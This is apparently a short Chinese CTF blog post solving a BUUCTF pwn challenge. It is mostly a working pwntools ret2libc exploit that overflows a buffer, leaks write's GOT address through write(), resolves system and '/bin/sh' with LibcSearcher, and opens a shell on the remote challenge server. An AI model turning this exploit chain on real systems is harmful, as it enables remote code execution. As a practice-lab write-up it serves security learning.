直接ret2libc,很简单,但是write函数有三个参数要填充
exp:
from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'i386',log_level = 'debug')
#r = process('./rop')
r = remote('node4.buuoj.cn','26575')
elf = ELF('./rop')
main = 0x080484C6
payload = 'a'*140 + p32(elf.plt['write']) +p32(main)+p32(1)+ p32(elf.got['write']) +p32(0x4)
r.sendline(payload)
write_addr = u32(r.recv(4))
print(hex(write_addr))
libc = LibcSearcher('write',write_addr)
offset = write_addr - libc.dump('write')
system = offset + libc.dump('system')
binsh = offset + libc.dump('str_bin_sh')
payload = 'a'*140 + p32(system) + 'bbbb' + p32(binsh)
r.sendline(payload)
r.interactive()
这篇博客详细介绍了如何通过在BUUCTF竞赛中利用ROP技术(Return-Oriented Programming)进行直接ret2libc攻击,涉及payload构建、write函数参数填充以及Libc搜索过程。最终目标是利用system调用执行shell,展示了从本地攻击到远程交互的完整流程。

4878

被折叠的 条评论
为什么被折叠?



